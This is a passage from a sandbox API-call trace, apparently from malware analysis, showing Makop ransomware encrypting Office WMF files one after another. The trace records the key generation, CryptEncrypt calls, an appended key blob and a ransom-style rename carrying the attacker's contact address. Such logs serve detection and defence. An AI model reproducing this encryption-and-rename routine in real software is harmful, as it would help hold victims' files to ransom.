lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.425] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.425] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.425] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.425] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x680, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x680, lpOverlapped=0x0) returned 1 [0166.425] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x680, dwBufLen=0x680 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x680) returned 1 [0166.425] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.426] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x680, lpOverlapped=0x0) returned 1 [0166.426] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.426] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.426] SetEndOfFile (hFile=0x130) returned 1 [0166.432] GetProcessHeap () returned 0x48a0000 [0166.432] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.432] GetProcessHeap () returned 0x48a0000 [0166.432] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.432] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.432] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18224_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18224_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.435] CloseHandle (hObject=0x130) returned 1 [0166.435] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2357bf00, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2357bf00, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18225_.WMF", cAlternateFileName="")) returned 1 [0166.435] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF") returned 70 [0166.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.437] GetProcessHeap () returned 0x48a0000 [0166.437] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.437] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.437] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.438] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.438] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.438] GetProcessHeap () returned 0x48a0000 [0166.438] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.438] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.438] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.438] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.442] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.442] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.442] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.442] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.442] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.443] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.443] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.443] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd10, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xd10, lpOverlapped=0x0) returned 1 [0166.443] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xd10, dwBufLen=0xd10 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xd10) returned 1 [0166.443] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.443] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xd10, lpOverlapped=0x0) returned 1 [0166.443] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.443] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xde4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.443] SetEndOfFile (hFile=0x130) returned 1 [0166.450] GetProcessHeap () returned 0x48a0000 [0166.450] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.450] GetProcessHeap () returned 0x48a0000 [0166.450] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.450] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.450] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18225_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18225_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18225_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.453] CloseHandle (hObject=0x130) returned 1 [0166.453] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d10e600, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d10e600, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x7b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18226_.WMF", cAlternateFileName="")) returned 1 [0166.453] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF") returned 70 [0166.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18226_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.454] GetProcessHeap () returned 0x48a0000 [0166.454] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.454] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.454] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.455] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0166.458] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.459] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.459] GetProcessHeap () returned 0x48a0000 [0166.459] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.459] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.459] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.459] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.459] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.459] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.459] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.459] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.460] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.460] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.460] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.460] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7b4, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x7b4, lpOverlapped=0x0) returned 1 [0166.460] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x7c0, dwBufLen=0x7c0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x7c0) returned 1 [0166.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.460] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7c0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x7c0, lpOverlapped=0x0) returned 1 [0166.460] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.461] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.461] SetEndOfFile (hFile=0x130) returned 1 [0166.466] GetProcessHeap () returned 0x48a0000 [0166.466] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.466] GetProcessHeap () returned 0x48a0000 [0166.466] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.466] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.466] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18226_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18226_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18226_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.468] CloseHandle (hObject=0x130) returned 1 [0166.468] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e4fd00, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83e4fd00, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18227_.WMF", cAlternateFileName="")) returned 1 [0166.468] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF") returned 70 [0166.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18227_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.470] GetProcessHeap () returned 0x48a0000 [0166.470] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.470] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.470] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.470] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.474] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.474] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.474] GetProcessHeap () returned 0x48a0000 [0166.474] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.474] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.475] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.475] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.475] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.475] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.475] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.475] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.475] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.475] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.476] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.476] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.476] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xdec, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xdec, lpOverlapped=0x0) returned 1 [0166.476] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xdf0, dwBufLen=0xdf0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xdf0) returned 1 [0166.476] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.476] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xdf0, lpOverlapped=0x0) returned 1 [0166.476] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.476] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.477] SetEndOfFile (hFile=0x130) returned 1 [0166.489] GetProcessHeap () returned 0x48a0000 [0166.490] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.490] GetProcessHeap () returned 0x48a0000 [0166.490] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.490] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.490] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18227_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18227_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.492] CloseHandle (hObject=0x130) returned 1 [0166.492] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb337000, ftCreationTime.dwHighDateTime=0x1bdcf22, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb337000, ftLastWriteTime.dwHighDateTime=0x1bdcf22, nFileSizeHigh=0x0, nFileSizeLow=0x884, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18228_.WMF", cAlternateFileName="")) returned 1 [0166.492] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF") returned 70 [0166.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18228_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18228_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.493] GetProcessHeap () returned 0x48a0000 [0166.493] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.493] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.493] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.493] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0166.498] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.498] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.498] GetProcessHeap () returned 0x48a0000 [0166.498] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.498] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.498] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.498] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.498] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.499] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.499] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 